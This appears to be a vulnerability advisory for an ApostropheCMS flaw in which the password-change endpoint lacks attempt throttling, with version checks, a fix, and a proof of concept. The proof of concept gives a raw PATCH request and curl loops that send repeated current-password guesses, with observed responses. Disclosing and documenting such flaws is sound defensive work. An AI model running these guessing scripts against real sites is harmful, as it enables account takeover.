---
id: "CVE-2026-113710"
kind: "vulnerability"
aliases: ["CVE-2026-113710", "GHSA-653j-g8j7-gh54"]
title: "ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing"
severity: "medium"
cvss: 5.900000095367432
epss: 0.003120000008493662
exploited: false
status: "open"
category: "package"
products: [{"name": "apostrophe", "fixed": ["4.33.0"], "affected": "< 4.33.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophe", "cms", "cwe-307", "node", "package", "self-hosted"]
not_affected_if: ["no-authenticated-users", "static-export", "version-4.33.0-or-later"]
published_at: "2026-10-20T18:17:21+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:21+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-653j-g8j7-gh54", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113710", "first_seen_at": "2026-10-23T21:57:21+00:00"}]
---

# ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing

The ApostropheCMS password-change endpoint checks the current password but skips the login module's failed-attempt counter and lockout, so an attacker holding a valid logged-in session can guess the current password without throttling. A correct guess lets them replace the account password and then log in as that user.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:apostrophe affected < 4.33.0 fixed 4.33.0

## How to check

Check the installed apostrophe version with `npm ls apostrophe`; versions below 4.33.0 are affected.

## Fix

Upgrade apostrophe to 4.33.0 or later.
Rotate user passwords for accounts that may have been exposed if you cannot upgrade immediately.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-653j-g8j7-gh54
- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113710

## From the sources

**Summary**
The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.

**Exact source path**
packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

**The password-change route is:**
PATCH /api/v1/@apostrophecms/settings/password

**The route calls the password verifier directly through:**
await self.handleProtectedSubform(req, subform, req.body );

**The password verification path is:**
packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

**async handlePasswordProtectedSubform(req, subform, payload) {
  try {
    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
  } catch (e) {
    throw self.apos.error(
      'forbidden',
      'apostrophe:passwordCurrentError',
      { path: 'passwordCurrent' }
    );
  }
  return subform;
}**

**The verifier itself does not increment the login-attempt cache or enforce a delay:**
packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**
packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

**Local PoC**
The test used a disposable authenticated guest session against:

Request:

```
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json

{
  "password": "new-temporary-password",
  "passwordRepeat": "new-temporary-password",
  "passwordCurrent": "definitely-wrong-current-password"
}
```

**Equivalent command:**

```
for i in 1 2 3 4 5; do
  time curl -i -sS \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{
      "password": "new-temporary-password",
      "passwordRepeat": "new-temporary-password",
      "passwordCurrent": "definitely-wrong-current-password"
    }'
done
```

**Observed response**
All five attempts returned the same immediate validation response:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {
    "path": "passwordCurrent"
  },
  "message": "apostrophe:passwordCurrentError"
}

Observed timings were approximately:
Attempt 1: 231 ms
Attempt 2: 232 ms
Attempt 3: 226 ms
Attempt 4: 229 ms
Attempt 5: 226 ms

No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.

seq 1 20 | xargs -P 20 -I{} sh -c \
  "curl --max-time 15 -sS \
    -o /tmp/password-attempt-{}.body \
    -w '%{http_code}\\n' \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"

Result:
20 requests -> HTTP 403 Forbidden
0 requests -> HTTP 429 Too Many Requests
0 requests -> lockout response

The valid password continued to authenticate afterward:
POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK

Impact
An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.
If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.
Severity
Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
